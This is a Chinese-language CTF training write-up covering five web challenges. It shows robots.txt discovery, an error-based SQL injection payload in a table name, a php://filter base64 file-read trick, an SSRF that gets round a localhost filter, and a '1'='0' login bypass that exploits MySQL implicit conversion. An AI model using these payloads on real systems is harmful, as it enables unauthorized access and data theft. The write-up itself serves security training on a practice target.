CTF

#writeup#平安科技CTF培训-2017.10.21

2017-10-21  本文已影响290人  Mr_Shadowalker

http://game.rootk.pw:51001/web1/

并不是签到题!!!

my password

my password: G00dPassw0rD不是flag。

Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用robots.txt文件。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。
如果将网站视为酒店里的一个房间,robots.txt就是主人在房间门口悬挂的“请勿打扰”或“欢迎打扫”的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些房间因为存放贵重物品,或可能涉及住户及访客的隐私而不对搜索引擎开放。但robots.txt不是命令,也不是防火墙,如同守门人无法阻止窃贼等恶意闯入者。

robots.txt

继续进入secret_flag_file.php:

secret_flag_file.php

说了要post刚才的password,拿到flag。

Got it !

Done.

PS:使用FireFox的Hackbar插件,就能实现;或者使用BurpSuite。


http://game.rootk.pw:51001/web2/

SQL注入+代码审计。

首先看代码:

/*这里说明表名是#web2#,并不包含flag。
mysql:
create table `#web2#`(
     pid INT(11) NOT NULL AUTO_INCREMENT,
     name VARCHAR(255) NOT NULL UNIQUE,
     PRIMARY KEY(pid)
);
*/

php code:
$db = array(
        'DB_HOST' => 'localhost',
        'DB_USER' => 'web2',
        'DB_PWD' => 'xxx',
        'DB_CHAR' => 'utf8',    #使用了utf8字符集的数据库,说明宽字节注入没戏
        'DB_NAME' => 'xxx',
);

$conn = mysql_connect($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD']) or exit(mysql_error());
mysql_select_db($db['DB_NAME'], $conn) or exit(mysql_error());
mysql_query("SET NAMES " . $db['DB_CHAR']);
$data = addslashes($_GET['data']);

/*SQL语句被换行了,说明是尾部注释(;或者#或者--)没戏
$sql = "UPDATE `{$data}`
        SET `name`='test'
        WHERE pid=1";
echo $sql;
$res = mysql_query($sql) or exit(mysql_error());//说明需要构造报错型注入
mysql_close($conn);
//综合几点,只能在表名本身做手脚了

PS:推荐大家一个练习CTF的本地环境。
DVWA。
相关配置会在稍后整理出来。
因为搞这个浪费了不少时间然后发现其实是Apache有个坑,这货特喵居然默认没有加载PHP模块。知道这个之后一分钟就搞定了。
先看update语句的一个姿势:

mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| #web2#         |
| guestbook      |
| users          |
+----------------+
3 rows in set (0.00 sec)
 
mysql> update `#web2#` t left join (select * from users) y on t.`name` = y.`user` SET `name` = 'test' where pid = 9999;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

说明表名部分可以做左连接查询, 而红色部分就是我们要做注入的参数。

需要触发报错注入,找一个payload,Exp(~(select * from (select user())a)) (详情看CTF in web)

http://game.rootk.pw:51001/web2/
?data=%23web2%23` t left join (select Exp(~(select * from (select user())a))) y on 11 = y.`xxx

成功注入:

成功注入

那剩下的步骤就是利用information_schema来获取表名和列名, 最后:

获取表名 获取列名

Done.


http://game.rootk.pw:51001/web3/

http://game.rootk.pw:51001/web3/index.php?m=login
文件上传漏洞。

php://filter/convert.base64_encode/resource=login

分析:

插入filter

base64解码后,得到index.php:

base64解码 login.php代码 flag.php

ASCII解码就得到flag:

ACSII解码

Done.


http://game.rootk.pw:51001/web4/

分析:

flag_file.php 127.0.0.1 SSRF 关键字过滤 localhost

Done.


http://game.rootk.pw:51001/web5/

一上来二话不说,万能口令走起(用户名和密码都是1'='0),拿到flag

select * from users where username='1'='0' and password='1'='0'

username='1'='0' => "0"="0" => true

password='1'='0' => "0"="0" => true

mysql中字符串(非1)和1比较都等于0

当然,也可以都写'-'

MySQL黑魔法:隐式转换。
之后会另开一文详细介绍。

上一篇下一篇

猜你喜欢

热点阅读